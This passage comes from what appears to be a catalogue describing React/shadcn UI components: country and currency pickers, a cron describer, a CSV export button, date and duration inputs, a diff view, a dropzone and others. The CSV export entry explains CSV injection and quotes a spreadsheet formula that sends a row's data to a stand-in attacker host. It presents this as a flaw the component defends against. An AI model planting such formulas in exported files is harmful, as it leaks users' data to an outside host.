reader can read the state on demand without being spammed each second. Tune the tick with interval (100 for smooth, 60000 for minute-only) and swap the finished view with completedLabel. shadcn/ui ships no countdown or timer component of any kind. Within pulld it is the future-facing counterpart to time-ago, which labels a moment in the past; it is distinct from idle-timeout, whose deadline moves every time the user does something, where this one runs to a fixed moment everybody shares; and the span it counts down is the value duration-input collects. Depends only on your cn util — no date library, no extra packages.
A country picker: all 249 ISO 3166-1 countries, named in the reader's own language, sorted the way that language sorts, and searchable by local name, English name or two-letter code. Reach for it wherever a form asks where someone is or where something is going: sign-up and onboarding; billing, shipping and delivery addresses; the country on a tax, VAT or GST field; the list of countries you actually ship to; the residence or citizenship question in KYC, AML and identity verification; the country ahead of a phone number's dial code; nationality and place-of-birth fields on visa, travel and immigration forms; the market or region a product, price or licence is available in; bank-account, payout and remittance destinations; customs declarations; and the "country" row in profile, account and organisation settings. Common asks it answers: "country select", "country picker", "country dropdown", "country selector react", "select country component", "list of countries react", "country combobox", "searchable country select", "country select with flags", "ISO country code select", "shadcn country select", "shadcn country picker", "react-select-country-list alternative", "country autocomplete", "country field for address form", "nationality select". Official shadcn/ui has no country, region, locale or flag item of any kind — its select, native-select and combobox are empty controls that know nothing about the world — so the data is on you, and the data is where hand-rolled versions go wrong. This one carries no name table at all: it holds 249 two-letter codes and asks `Intl.DisplayNames` for the names, which means every country arrives already translated into the reader's language (JP is "Japan" in English and "日本" in Japanese) and nothing has to be re-translated or re-checked when a country is renamed upstream. The curation that matters is what is left out: `Intl.DisplayNames` will just as happily name EU (European Union), UN (United Nations), EZ (Eurozone), QO (Outlying Oceania) and 001 (world), none of which is a place a parcel can go, so the code list is explicit rather than generated. Sorting goes through `Intl.Collator`, the difference between a usable list and a broken one: a plain `sort()` orders by code point, which drops every country whose name begins with an accent — Åland Islands, Österreich — below Zimbabwe at the very bottom, exactly where nobody scrolls, and it does it in every language that has accents. The filter reads three names per country, because a person has three ways to name one: the local name, the English name (typed constantly on non-English sites, because it is what the passport and the shipping label say) and the code itself — so a Japanese page finds 日本 when someone types "japan" or "JP", and an exact two-letter code wins outright so "in" reaches India rather than burying it under Indonesia. Accents and punctuation are folded away, so "cote divoire" reaches Côte d'Ivoire despite the typographic apostrophe no keyboard produces. A real combobox, not a styled div: the trigger is a `type="button"` with `role="combobox"` and `aria-expanded`, the panel is a `listbox` driven by `aria-activedescendant`, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view through 249 rows, opening a field that already says Japan starts on Japan, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the alpha-2 code and never a display name, so what you store survives the reader switching language; `name` adds a hidden input so it submits with a native form; `countries` narrows the list to the places you ship to, and a stored code outside that narrowed list still shows its own name instead of silently reading as "nothing chosen"; `priority` pins the two or three countries most sign-ups come from above the alphabet; `flags` adds the flag emoji as a hint next to the name — off by default, because Windows ships no flag glyphs and renders every one of them as two bare letters; and `getCountryName()` is exported so an order summary or confirmation email spells the country exactly the way the picker did. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no country-data package, no icon package, one file.
Turns a cron expression into a sentence anyone can read, and lists the next times it fires. Reach for it wherever a schedule is shown rather than edited: a scheduled-jobs table in an admin panel, the summary line under a cron input, backup and report-delivery settings, sync and webhook retry schedules, a CI/CD or deploy cadence, a GitHub Actions / Vercel Cron / Cloudflare Workers Triggers schedule rendered in your own dashboard, or the live preview beside a cron builder. Common asks it answers: "cron to human readable react", "explain a cron expression", "crontab parser component", "describe cron in plain English", "next run time from a cron expression", "cron preview shadcn", "validate a cron expression in a form", "what does 0 9 * * 1-5 mean". It handles the parts a hand-rolled parser gets wrong. The day-of-month and day-of-week fields are ORed when neither is a literal star and ANDed when either one is — so 0 0 13 * 5 runs on the 13th OR on every Friday, not only on Friday the 13th, and 0 0 13 * 0-6 runs every single day even though 0-6 covers the same seven days a star does. That rule is cron's oldest trap, it keys off syntax rather than coverage, and the component both applies it and says so on screen when it is in play. Sunday is both 0 and 7, and the fold happens after a range is expanded, so 5-7 means Friday, Saturday and Sunday instead of collapsing into a backwards range. Ranges, lists, steps, */n, a-b/n, the n/step shorthand, three-letter month and weekday aliases in any position, and the @daily / @hourly / @weekly / @monthly / @yearly / @midnight nicknames all parse; @reboot is reported as having no calendar schedule rather than being invented one; a six- or seven-field expression is named as Quartz/Spring syntax rather than dismissed as invalid, and L, W and # are named as Quartz extensions. Next runs are computed in UTC — the zone GitHub Actions, Vercel Cron and Cloudflare Triggers all schedule in — by stepping whichever field fails rather than a minute at a time, so an expression that only matches on February 29 costs a few thousand comparisons instead of two million, and one that can never match (February 30) ends empty instead of hanging. Run times are formatted without Intl, because a locale-dependent string renders differently on the server and in the browser and turns into a hydration mismatch; pass formatRun to localise it yourself. Nothing reads the clock, so the same props always produce the same markup. An invalid expression is reported inline, in words as well as in colour, with the field and token that failed — conveying state by colour alone fails WCAG 1.4.1 — and the parse helpers (parseCron, describeCron, nextCronRuns) are exported so the same expression can be validated in a form before it is saved. No dependencies and no hooks, so it renders inside a React server component with no 'use client' of its own and ships no client JavaScript. Official shadcn/ui has nothing for scheduling: calendar is a date picker built on react-day-picker, and progress is a bar with no notion of recurrence.
A button that turns rows into a CSV file the browser saves — with the two things the inline version gets wrong already handled: the spreadsheet formulas hiding in your data, and the fact that the page is usually only holding one page of the table. Reach for it wherever a table, list or report has to leave the app: the Export button on an admin or data table, a billing, invoice or transactions history, an analytics or reporting screen, a contacts, subscribers, leads or members list, an orders or inventory export, an audit or activity log, a survey's responses, a time-tracking or payroll report, the download half of a GDPR or account data request, and any "download results" next to a search or filter. Common asks it answers: "export to CSV react", "csv export button", "download csv button react", "export table to csv", "react download csv from json", "json to csv frontend", "client-side csv export", "react-csv alternative", "CSVLink alternative", "papaparse unparse alternative", "export data grid to csv", "csv download without server", "excel export react", "csv utf-8 excel garbled", "csv 文字化け excel", "csv injection prevention", "escape csv formula", "shadcn export button", "shadcn csv". Official shadcn/ui has nothing here — csv, blob, createObjectURL and download appear in none of its sixty-odd components — so an agent asked for an export writes it inline, and the inline version is four lines that are wrong in ways nobody sees on the machine that wrote them. The first is a security bug, not a formatting one. A cell whose text starts with =, +, - or @ is a formula to Excel, Sheets and LibreOffice, so a value that came from a user — a display name, a note field, a ticket subject — executes on the machine of whoever opens the export; =HYPERLINK("https://evil.example/?d="&A1,"Click") quietly ships the row beside it, and the WEBSERVICE, IMPORTXML and DDE families have been used the same way for years. It is filed as CSV injection, and the tempting fix does not work: a spreadsheet strips the quotes while parsing and evaluates what is left, so "=1+1" is still a formula and the field itself has to change. Every cell is prefixed with the text marker OWASP recommends — including the tab and carriage return that are stripped on the way in and leave the next character at the front of the cell, and including the headers, which are cells too. The over-correction is handled as well: -42 also starts with a dangerous character, and a version that prefixes it turns every negative number into text so the column stops adding up, so anything that reads as a plain number is left exactly as it is, while +44 20 7946 0000 is prefixed — correct twice over, since Excel would otherwise show #NAME? where the phone number should be. The second failure is quieter: the inline version exports the array the page happens to hold, which on any paginated screen is one page of it, so "Export all" writes 50 of 12,000 rows and looks like it worked. That is why rows also takes a function — return the full set, or a promise for a fetch of it, and the button shows a spinner, goes aria-busy and refuses the second press, which is the double-click that otherwise downloads the file twice or runs the expensive query twice. The rest is the detail a four-line version has no room for. Values containing a comma, a quote or a newline are quoted per RFC 4180 with inner quotes doubled — the newline being the one that splits a record in two and lands every following row one column over, a file that opens fine and is wrong from row 400 down. Records are joined with CRLF, and that is not an option, because making it one is how the file ends up with the LF endings some Windows tooling renders as a single line. The download carries a UTF-8 BOM, because Excel does not detect UTF-8 in a CSV and falls back to the machine's legacy code page — without it every accent, umlaut, Japanese character and emoji arrives as mojibake — and the BOM is put in the file's bytes rather than in the returned text, where an invisible U+FEFF glued to the first header would break a comparison nobody can see. The anchor is inserted into the document before it is clicked, since Firefox ignores a click on an element outside the tree, and the object URL is revoked afterwards but on a later task: an un-revoked one pins the whole exported table in memory for the life of the document, while revoking inside the click's own task cancels the download it was created for. Columns are derived from the union of keys across every row rather than off row zero, so a field only the later rows carry is not silently dropped; declare them instead as a bare property name, or as {header, value} to rename, reorder or compute. Dates become ISO 8601 because a file is read later, elsewhere, by someone whose locale nobody here knows; NaN and Infinity are written empty rather than as words that would break a column's total; and delimiter, header line, sanitising and cell formatting are all overridable. Empty results with no declared columns download nothing and say so, rather than handing over a zero-byte file that reads as a broken button. Every outcome is announced through a polite live region and then cleared, so exporting twice is announced twice — an icon swap is not an event. toCsv, sanitizeCsvCell, escapeCsvCell, formatCsvValue, resolveColumns and downloadCsvFile are exported for reuse. It is the mirror of pulld file-dropzone and upload-list, which take a file in. One file, two lucide icons, no CSV library; every colour is a shadcn token, so it follows light and dark.
A money input that shows a grouped, currency-formatted amount ($1,234.50) when idle and the raw number while you're editing, so the cursor never fights the thousands separators or symbol. Use it in any form that takes an amount: a price or product cost field, an invoice/quote line item, a budget/limit/goal, a donation, tip, or payment amount, a salary or rate field, an expense entry, or a checkout total. Common asks it answers: "currency input react", "money input react", "price input field", "shadcn currency input", "shadcn money field", "formatted amount input", "thousands separator input react", "comma formatted number input", "dollar input react", "euro input field", "yen input no decimals", "react-currency-input-field alternative", "react-number-format alternative", "cleave.js money alternative", "Intl.NumberFormat input", "input value 1234.5 show 1,234.50", "cursor jumps to end when typing in formatted input", "caret jumps while typing money", "thousands separator breaks my input", "cannot type a decimal point in number input", "input type=number strips leading zeros", "input type=number scroll wheel changes the amount", "de-DE comma decimal input", "1.234,50 parsed as 1.234", "pasted $ sign breaks the value", "how to round money on blur", "store cents or dollars in state", "react-hook-form currency field", "金額入力 react", "通貨 入力欄 カンマ区切り", "3桁区切り 入力 カーソル 飛ぶ". Official shadcn/ui ships no currency or money field, and the gap is measured rather than assumed: fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 255,796 bytes of source, currency, NumberFormat, minimumFractionDigits, inputMode and decimal are every one of them zero hits. The only near-misses are two toLocaleString calls — the calendar formatting a month name, and a chart tooltip printing a number — and two tabular-nums classes in that same tooltip and the sidebar's badge. Its Input is a styled element with no formatting in it, so you would otherwise bolt masking onto it by hand; this packages it: value/onValueChange work in plain numbers (major units, e.g. 1234.5), not strings, so there's no parsing on your side, and it commits the rounded number on blur to the currency's own precision. The symbol, grouping, symbol placement, and decimal places come from Intl.NumberFormat via the `currency` (ISO 4217, default USD) and `locale` (default en-US) props, so $/€/¥ and 2-decimal vs 0-decimal (JPY) currencies all render correctly with no hardcoding. Typing follows that same locale, so comma-decimal locales (de-DE, fr-FR) accept "1.234,50" and "1234,50" rather than silently misreading them, and grouping characters or a pasted currency symbol are ignored; set allowNegative for refunds or adjustments. It stays controlled or uncontrolled like a native input, forwards a ref to the real <input> (so <Label htmlFor>, name, placeholder, and form libraries like react-hook-form all work), uses inputMode="decimal" for a numeric mobile keypad, and is styled with shadcn tokens (border-input, ring, muted-foreground, tabular-nums) for automatic light/dark theming with no extra dependencies beyond your cn util. Distinct from number-input, which is a stepper for counts/quantities with +/− buttons; this one is for formatted money. Within pulld it is the money end of the field family: number-input counts things, currency-select picks which currency an amount is in (pair them for a multi-currency form), masked-input holds a fixed shape like a card or postal code rather than a number that grows, and pricing-card is where an amount is displayed rather than entered.
A currency picker: every ISO 4217 currency the runtime knows, named in the reader's own language, sorted the way that language sorts, and searchable by local name, English name, three-letter code or symbol. Reach for it wherever a form has to settle which money an amount is in: the currency on a price, plan or product; the billing currency on a subscription or invoice; the currency of an expense, receipt or reimbursement; the payout, remittance or bank-transfer currency on a payments or Connect onboarding form; the display currency on a multi-currency store or a pricing table; the base and quote currency on an exchange-rate or conversion field; the ledger currency in accounting, bookkeeping and budgeting; and the "default currency" row in workspace, organisation and account settings. Common asks it answers: "currency select", "currency picker", "currency dropdown", "currency selector react", "ISO 4217 select", "currency code select", "searchable currency select", "currency combobox", "list of currencies react", "currency select with symbols", "shadcn currency select", "shadcn currency picker", "react-select currency alternative", "currency autocomplete", "select currency for invoice", "multi-currency dropdown". Official shadcn/ui has no currency, money or price item of any kind — and nothing Intl-aware at all: its select, native-select and combobox are empty shells that know nothing about money, so the data and the arithmetic are on you, and both are where hand-rolled versions go wrong. This one carries no currency table: it reads the codes from Intl.supportedValuesOf("currency") and the names from Intl.DisplayNames, which matters more for currencies than it would for countries, because currencies get replaced — ZWG (Zimbabwean Gold) arrived in 2024, XCG (Caribbean guilder) in 2025, SLE replaced SLL in 2022, and a table baked into a component in 2023 is missing all three today while the browser's own list is not. The curation that matters is small and named: XDR (IMF Special Drawing Rights) and XSU (Sucre) are units of account for settling between central banks, not money anyone is paid in, so they are excluded — while XAF, XOF, XPF and XCD are currencies millions are paid in daily and survive the cut, which is why dropping the whole X prefix (the obvious shortcut) is wrong. Historical codes stay and stay labelled, because the runtime dates them for you — SLL arrives as "Sierra Leonean Leone (1964—2022)" — so a 2021 invoice can still render in the currency it was written in; pass `currencies` when a field should only offer what you accept today. The export that prevents the expensive bug is getCurrencyFractionDigits(): decimal places are not 2 everywhere — they are 0 for JPY, KRW, VND, ISK and some thirty others, and 3 for the Gulf dinars (BHD, JOD, KWD, LYD, OMR, TND), about a quarter of the list — and payment APIs (Stripe, Adyen, PayPal) take the amount in the currency's minor unit, so `Math.round(amount * 10 ** getCurrencyFractionDigits(code))` is the conversion and hardcoding 2 there bills a Japanese customer a hundred times what they agreed to. Pairs directly with pulld's currency-input: feed the chosen code to its `currency` prop and the amount field picks up the same symbol, grouping and precision. Sorting goes through Intl.Collator, the difference between a usable list and a broken one: a plain sort() orders by code point, which drops every accented name — "São Tomé & Príncipe Dobra", "Costa Rican Colón" — below Z at the very bottom where nobody scrolls. The filter reads four faces, because a person has four ways to name money: the local name, the English name (typed constantly on non-English sites, because it is what the pricing page and the processor say), the code (which is what the API takes, so it is what a developer has in their head), and the symbol — and the symbol has to be read before folding, because fold("¥") is the empty string and a filter that quietly shows all 160 rows reads as broken. An exact three-letter code wins outright, and symbols stay qualified rather than narrow, so "$" reaches the US Dollar while AUD, CAD, NZD and HKD keep their A$, CA$, NZ$ and HK$ instead of collapsing into four identical dollar signs. A real combobox, not a styled div: the trigger is a type="button" with role="combobox" and aria-expanded, the panel is a listbox driven by aria-activedescendant, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view, opening a field that already says Japanese Yen starts on Japanese Yen, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the ISO 4217 code and never a name or a symbol, so what you store survives the reader switching language; `name` adds a hidden input so it submits with a native form; a stored code outside a narrowed `currencies` still shows its own name instead of silently reading as "nothing chosen", which is what keeps an old ledger row from being lost on the next save; `priority` pins the two or three currencies most of your revenue is in above the alphabet; `symbols` turns the glyph off; and getCurrencyName() and getCurrencySymbol() are exported so an invoice header or a pricing table spells the currency exactly the way the picker did. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no currency-data package, no icon package, one file.
A date field you type into, one segment at a time, that emits an ISO "YYYY-MM-DD" string. Use it for date of birth and signup forms, booking and check-in/check-out dates, card expiry, invoice and due dates, report ranges, and admin filters — anywhere the reader already knows the date and wants to type it rather than hunt for it in a month grid. Common asks it answers: "date input", "date field", "typed date entry", "dd/mm/yyyy input", "segmented date field", "date of birth input", "birthday field", "keyboard accessible date picker", "date picker without a calendar", "react-day-picker alternative", "input type=date replacement", "styled native date input". shadcn/ui ships no typed date entry: its calendar is a month grid you click, and the Date Picker page composes that calendar into a popover behind a read-only trigger button, so the only keyboard route is arrow-keying around a grid; input-otp is segmented but for fixed-length codes with no date meaning. This is the typing half, and it composes with calendar rather than replacing it. The work is in the parts that are easy to get wrong. Segment order comes from the locale through Intl, so en-US renders month/day/year, en-GB and de-DE day/month/year, and ja-JP year/month/day, instead of the hardcoded M/D/Y that silently means the wrong day for most of the world; the calendar is pinned to Gregorian, so a Buddhist or Japanese-era locale cannot hand back the year 2569 or 8 to be emitted as though it were Gregorian. The day is clamped whenever the month or year changes, so January 31 switched to February becomes the 28th — or the 29th in a leap year, by the full 4/100/400 rule — instead of the silent rollover into March that a raw Date gives you. Auto-advance is decided by range rather than by a fixed two-digit count: typing 5 into the month jumps straight to the next segment because no month starts with 5, while 1 waits for a possible 10, 11 or 12, and a pair that cannot exist starts a new number instead of dropping the keystroke. Arrow keys step a segment, wrapping month and day, clamping the year, and seeding an empty segment from today; Backspace clears and steps back; Home, End and left/right move between segments. Each segment is a spinbutton with its own label and value range, and the month is announced by name rather than as a bare number. Values outside min/max are flagged with aria-invalid without ever blocking typing, the way a native date input behaves. Works controlled or uncontrolled, forwards a ref to the first segment so a shortcut can focus it, and mirrors the ISO value into a hidden input for native form submit. Theme-aware via shadcn tokens; no dependencies — no date library, no react-day-picker.
A row of date-range presets — Today, Last 7 days, Month to date, Last month, Year to date — with a custom from/to range behind the last option, that answers with a relative expression like "last7d" instead of a pair of dates. Reach for it above anything that shows numbers for a period: an analytics or product dashboard, a revenue, sales or KPI report, billing and invoice history, usage and metering pages, a logs, events or audit-trail viewer, error and monitoring views, an admin table that filters by date, a search or order history, cohort and retention reports, attendance and timesheet summaries, a CSV or PDF export range, and the period selector beside any chart. Common asks it answers: "date range picker react", "date range preset component", "last 7 days selector", "date range filter", "period selector dashboard", "relative date range react", "date range in URL query param", "shadcn date range picker", "shadcn date range preset", "react-date-range alternative", "react-daterange-picker alternative", "MUI DateRangePicker shortcuts equivalent", "antd RangePicker presets equivalent", "date range shortcuts", "this month last month selector", "analytics time range selector", "from to date filter component". Official shadcn/ui has nothing for this and no combination of its parts reaches it: calendar is a react-day-picker wrapper that pulls in react-day-picker and date-fns and answers with a Date for a day, the Date Picker page is that same calendar inside a popover, and neither carries the idea of a period at all — startOfDay, endOfDay, subDays and DateRange do not appear anywhere in the library. Distinct from pulld date-input, which types one full date (and is what this composes for its custom fields), from month-picker, which chooses a single calendar month, from calendar-heatmap, which draws a year of days rather than selecting a span of them, and from weekly-hours, which sets recurring opening times rather than a one-off period. The component turns on one distinction that every hand-rolled version collapses: a relative period is an expression, not a value. Fold "last 7 days" into "2026-09-17..2026-09-23" at the moment it is clicked — which is what storing a { from: Date, to: Date } pair does — and you have written down the answer to a question nobody asked again. Share that URL and the recipient sees your week rather than theirs. Open the same saved view tomorrow and the figures have not moved, which is the single most common "the dashboard is broken" report there is and the hardest to see, because the page is faithfully showing the stale week it was told to. Here the value stays the string "last7d" all the way into the URL, the saved view and the form post, and resolveDateRange evaluates it at the moment you query. Three more things it settles that are invisible until they are wrong. The resolved range is half-open — start included, end excluded — so there is never a last instant to pick and therefore never the 23:59:59 that silently drops the final second of the period, nor the 23:59:59.999 that drops the final millisecond; the end is simply the day after the last one you want, and the summary line shows the last day actually included rather than that excluded end, because telling a reader their range ends on the 24th when the 24th is not in it is just false. Which day is "today" is a property of a time zone rather than of the clock, so todayIn takes an IANA zone and throws on one the runtime does not know instead of quietly falling back to whatever zone the server happens to run in — the reason a browser and the job that aggregates the rows can otherwise disagree by a day at the edges for anyone working late. And whether "Last 7 days" includes today is a real fork with two defensible answers, so it is written out as ordinary data in DEFAULT_PRESETS that you can replace one line at a time rather than buried in the component; there is deliberately no "this week", because the first day of the week is Sunday, Monday or Saturday depending on where you are and a component that quietly picked one would be wrong for much of the world without ever saying so. The preset id and a custom range share one query expression — "last7d" or "2026-09-01..2026-09-30" — so ?period= round-trips either without a second encoding to keep in sync, and parseDateRange refuses backwards ranges and impossible days like 2026-02-30 so a link a stranger edited cannot build a query. Calendar arithmetic is done without a date library: January's "last month" lands in the previous year on its own, February is as long as it actually was that year, and a year under 100 stays that year instead of becoming nineteen-hundred-something the way Date.UTC would have it. It is a real radiogroup with a roving tabindex — one tab stop for the whole row, then arrow keys inside it, which select as they move, with Home and End at the ends and wrapping at both, and left and right following the writing direction so they do not run backwards on an RTL page. A permanently mounted polite live region names the span in words through Intl, so the dates are announced rather than left as a visual-only state, and it stays in the accessibility tree when empty instead of being rendered along with its message. Choosing the custom option reports nothing until both dates make a range, so the dashboard behind the picker is never blanked mid-edit, and the fields open seeded with the range being looked at rather than two empty boxes. Uncontrolled, or controlled by pairing value with onValueChange; give it a name and it posts the expression with a plain form or a server action. The maths is exported too — resolveDateRange, parseDateRange, formatDateRange, todayIn, shiftDay, toCalendarDay, toPlainDate and lastIncludedDay — so a server route can resolve the same string the picker produced without reimplementing any of it. Styled entirely with shadcn tokens (primary, input, accent, ring, muted-foreground, destructive), so it follows light and dark mode, and it ships zero npm dependencies — no date library, no icon package.
A line-by-line diff of two strings — the before/after view a screen needs when it has to show what changed: a config or settings change, a record edited in an admin panel, a document revision, a webhook payload against the last one, an audit-log entry, a restored backup next to what is live, or the edit an AI agent is proposing before the user accepts it. Pass before and after and it renders a git-style diff, unified by default or side by side with view="split". Unchanged lines collapse into a counted gap, so a 400-line file with a three-line change shows three lines and a summary instead of 400; context sets how many surrounding lines survive and context={Infinity} shows the whole text. Both line-number gutters are select-none, so selecting the diff copies the code and not a column of numbers. CRLF and LF are folded together, because a file that changed only its line endings would otherwise report every single line as rewritten. It is meaning-first rather than colour-first: every changed row carries a + or - sign and a screen-reader-only "Added line:" / "Removed line:" prefix, so the diff still reads for someone who cannot tell the red and green backgrounds apart — conveying the change by colour alone, which fails WCAG 1.4.1, is the single most common defect in a hand-rolled diff. The table also gets an sr-only caption stating how many lines were added and removed. The diff is a longest-common-subsequence over lines with the shared prefix and suffix trimmed off first, which keeps a large document with a small edit fast (a 4,000-line file with one changed line diffs in well under a millisecond) and makes an appended line read as appended instead of shifting everything by one. Pathologically large inputs degrade to "this block was replaced" rather than allocating a table of hundreds of megabytes during a render. No dependencies, no diff library and no hooks, so it renders inside a React server component without a "use client" of its own and ships no client JavaScript — which is the common case, because the text being compared has usually just been fetched on the server. Official shadcn/ui has no diff component of any kind: table is an unstyled table and chart is a Recharts wrapper, and neither computes or displays a change.
A text field that takes a length of time written the way people actually write one — 90m, 1h30m, 1h 30m, 2d 4h 15m, 1:30, 1.5h, 500ms, "90 minutes" — reads it into milliseconds, and echoes the reading back in words underneath it ("1 hour 30 minutes") so the interpretation is never left to be guessed at. Reach for it wherever a form asks how long rather than when: a request timeout or deadline, a cache TTL or expiry, session and token lifetimes, a retry or backoff interval, a polling or refresh interval, an SLA target, a job or cron timeout, an auto-logout window, a rate-limit window, a task estimate, a video or audio length, a snooze or reminder delay. Common asks it answers: "duration input", "duration picker", "time duration field", "timeout input", "TTL input", "interval input", "parse 1h30m", "hh:mm:ss duration input", "humanize duration" — the field otherwise assembled from a number box beside a unit <select>, or from parse-duration / pretty-ms / ms / humanize-duration. Official shadcn/ui has no duration component of any kind: input is a bare text box you would still have to parse, input-otp is for codes, and calendar answers which day, not how long. It settles the two things hand-rolled duration parsers get wrong. First, m versus ms: the whole run of letters is read before anything is looked up, so 500ms can never come out as 500 minutes. Second, what 1:30 means: two colon fields are read as mm:ss and three as hh:mm:ss, the way stopwatches and media players write them, and blur rewrites the entry into its canonical short form so 1:30 visibly becomes 1m 30s — a clock time is the other component's job, so 9:30 here is nine and a half minutes of elapsed time and time-input is where you type half past nine. Months and years are refused by name instead of being given an invented length, which also settles the usual M/m argument — parsing is case-insensitive and M is minutes. Beyond parsing: minMs/maxMs mark the field aria-invalid with a polite live message naming the bound in words, a value that is unusable or out of range is withheld from onValueChange so nothing handed to the caller needs validating twice, text that does not parse stays on screen instead of being deleted out from under the reader, and giving the field a name posts the milliseconds through a hidden input so the server is never handed prose. parseDuration and formatDuration are exported as plain functions for the rest of the app to share. One file, themed with shadcn tokens, no dependencies beyond React.
The centred placeholder a screen shows when it has nothing to draw — a dashed panel with an optional icon, a heading, one line of explanation, and room for a call to action. Use it for an empty table, list, inbox, or feed, a search or filter that matched nothing, a workspace, project or team before its first item exists, a first-run or onboarding screen, a dashboard card with no data yet, an empty cart, folder, or notification tray. Common asks it answers: "empty state", "no results found", "zero state", "blank slate", "no data placeholder", "nothing here yet", "empty list or table component", "empty search results", "first run experience", "no items yet with a create button". shadcn/ui now ships an `empty` of its own, so choose deliberately rather than by accident: theirs is a six-part compound API (Empty, EmptyHeader, EmptyMedia, EmptyTitle, EmptyDescription, EmptyContent) that composes into any arrangement and pulls in class-variance-authority; this is the one-import version — title plus optional icon, description and action, four props in total and no dependencies at all — for the much more common case where every empty state in the app looks alike and assembling six elements at each call site is just ceremony. Two accessibility details differ as well, and they are the two most often got wrong: here the title renders as a real h3, so it joins the heading outline and screen-reader users can reach it with heading navigation, whereas the official EmptyTitle is a styled div that heading navigation cannot see; and the icon wrapper is marked aria-hidden, because it is decoration, and announcing "inbox" or "circle-slash" before the sentence that actually explains the situation is noise. The description is capped at max-w-sm so the line keeps a readable measure inside a wide table. It has no hooks and no event handlers, so it carries no "use client" and renders inside a React Server Component without pulling a client boundary in behind it; you pass your own icon element, so it adds no icon library. Styled with shadcn tokens (border, muted-foreground) for light and dark themes. Distinct from skeleton and spinner, which say the rows are still loading: this one says the rows are not coming until the user does something.
An icon + heading + one line of copy, as the repeating tile in the features or benefits section of a landing or marketing page — a “why us” grid, “what’s included”, value props, product highlights, services, capabilities, or a perks row on a pricing page. Drop several into a responsive grid (grid-cols-2 / grid-cols-3) and that is the whole section; each card takes icon, title, description and optionally href. Set href and the entire card becomes the click target: it renders as an <a> rather than a <div>, with hover and a focus-visible ring, so keyboard users get one tab stop per card instead of hunting for a small link nested inside it. shadcn/ui ships no feature card. Its card is a generic container (~1.8KB of source, no dependencies) with no icon slot and no href — the icon square, the heading and the link are all yours to assemble. Its newer item is the closest thing in shape and does have an icon slot, but it is a ten-part compound kit (ItemGroup, Item, ItemMedia, ItemContent, ItemTitle, ItemDescription, ItemActions, ItemHeader, ItemFooter, ItemSeparator) that also pulls in separator, and it is built for list rows rather than a marketing grid. Two concrete differences past the assembly work: official’s ItemTitle renders a <div>, so a features grid built from it contributes nothing to the document outline, whereas this renders a real heading you choose with headingLevel (h2/h3/h4, default h3) so screen-reader users can jump feature to feature; and official’s ItemMedia sets no aria-hidden, so a purely decorative icon can still be announced, whereas this marks the icon square aria-hidden and lets the title carry the meaning. Neither official component accepts an href, so “make the whole tile a link” is hand-wired in both. Zero dependencies — bring your own icon element (a lucide-react icon, an emoji, an <img>); it sits in a tinted primary/10 square, and everything else follows your shadcn tokens including dark mode.
A drag-and-drop file upload area that is also a real file picker: drop files onto it, or click it — or focus it and press Enter or Space — to open the native chooser. Reach for it at the point a product takes a file in: an avatar or profile photo upload, a logo in brand settings, an image or gallery upload, a CSV/TSV/XLSX import step, a document, PDF, contract or resume upload, receipts and invoices, ID and KYC documents, attachments on a ticket, issue, message or email composer, a bulk media or photo drop, a dataset or training-corpus upload for an AI app, a .zip or backup restore, and the file step of an onboarding or import wizard. Common asks it answers: "file dropzone", "drag and drop file upload", "drop zone react", "drag drop upload area", "upload box", "click to browse files", "file picker component", "shadcn file input", "shadcn file upload", "shadcn dropzone", "react-dropzone alternative", "filepond alternative", "uppy alternative", "csv upload component", "image upload dropzone", "multiple file upload react", "accept only images", "limit file size on upload", "restrict file types react". The gap in official shadcn/ui is the taking-in half, and it is worth being precise about it now that the catalogue has grown: input covers text-like types and never file, and attachment — its newer component in this area — renders a file that has already been attached, with media, title, description and actions, but contains no `<input type="file">`, no drop target, and no accept or size filtering. Nothing there receives a file. What is hand-rolled every time and easy to get wrong: a drop target only works if `dragover` is cancelled, and a version that skips it drops the file straight into the browser, which navigates away from the app and takes any unsaved form with it — so `dragover` is cancelled here. The `accept` attribute is also filtering theatre on a drop: the browser applies it to the chooser dialog only, and anything dragged in arrives unfiltered, so the same rules are applied a second time in JavaScript. Dropped and picked files therefore go through one path and one filter — `accept` (a mime type, a wildcard like image/*, or a .ext), `maxSize` in bytes, and `maxFiles` — and everything skipped comes back through `onReject` tagged with the reason it was skipped ("type", "size" or "too-many"), so the UI can say why instead of swallowing the file and looking broken. It wraps a hidden real `<input type="file">` rather than simulating one, so the control still submits with a form, still takes `name` and `required`, and still forwards a ref for a caller who wants to open the chooser from a button elsewhere. Works controlled or uncontrolled over a `File[]`, single or multiple, with a highlighted drag-over state and a disabled state that also leaves the tab order. Accessible without a mouse or a screen: the region is a `role="button"` with a real tab stop, activated by Enter and Space, drawn with a focus-visible ring, marked `aria-disabled` when disabled, and every add and every rejection is announced through a polite live region — the part hand-rolled dropzones almost always omit, which leaves a screen-reader user with no confirmation that a dropped file landed or any idea why it did not. It hands back a `File[]` and deliberately stops there — no endpoint, no auth, no progress source it would have to guess. Pair it with upload-list for the rows that show what happened to those files. Styled with shadcn tokens so it follows light and dark mode; the only dependency is lucide-react, for the upload icon.
A text input whose label sits inside the field like a placeholder, then shrinks and floats up to straddle the top border the moment the field is focused or holds a value — the Material "outlined" text field, as one accessible input with no animation library behind it. Reach for it wherever a column of labels above a column of boxes would double the height of the form: a login, sign-up or password-reset form, a checkout or billing address, a settings, profile or account page, a dense admin or CRM record, a filter panel or sidebar, a modal or drawer with a handful of fields, an onboarding step, and any mobile form where vertical space is the scarce thing. It is also the shape people expect from a form that has to look like Material, MUI or Vuetify while being built on shadcn. Common asks it answers: "floating label input", "floating label react", "shadcn floating label", "shadcn input with floating label", "animated label input", "label moves up on focus", "placeholder that becomes a label", "material outlined text field tailwind", "MUI TextField equivalent shadcn", "notched outline input", "tailwind floating label", "peer-placeholder-shown", "placeholder-shown not working", "floating label without javascript", "css only floating label", "floating label breaks on autofill", "label overlaps autofilled text", "floating label accessibility", "is a floating label a real label", "compact form fields react", "フローティングラベル react", "ラベルが浮き上がる入力欄". Official shadcn/ui has nothing of the kind, and the gap is wider than "no such component". Fetching all sixty-three registry entries today (sixty-two are 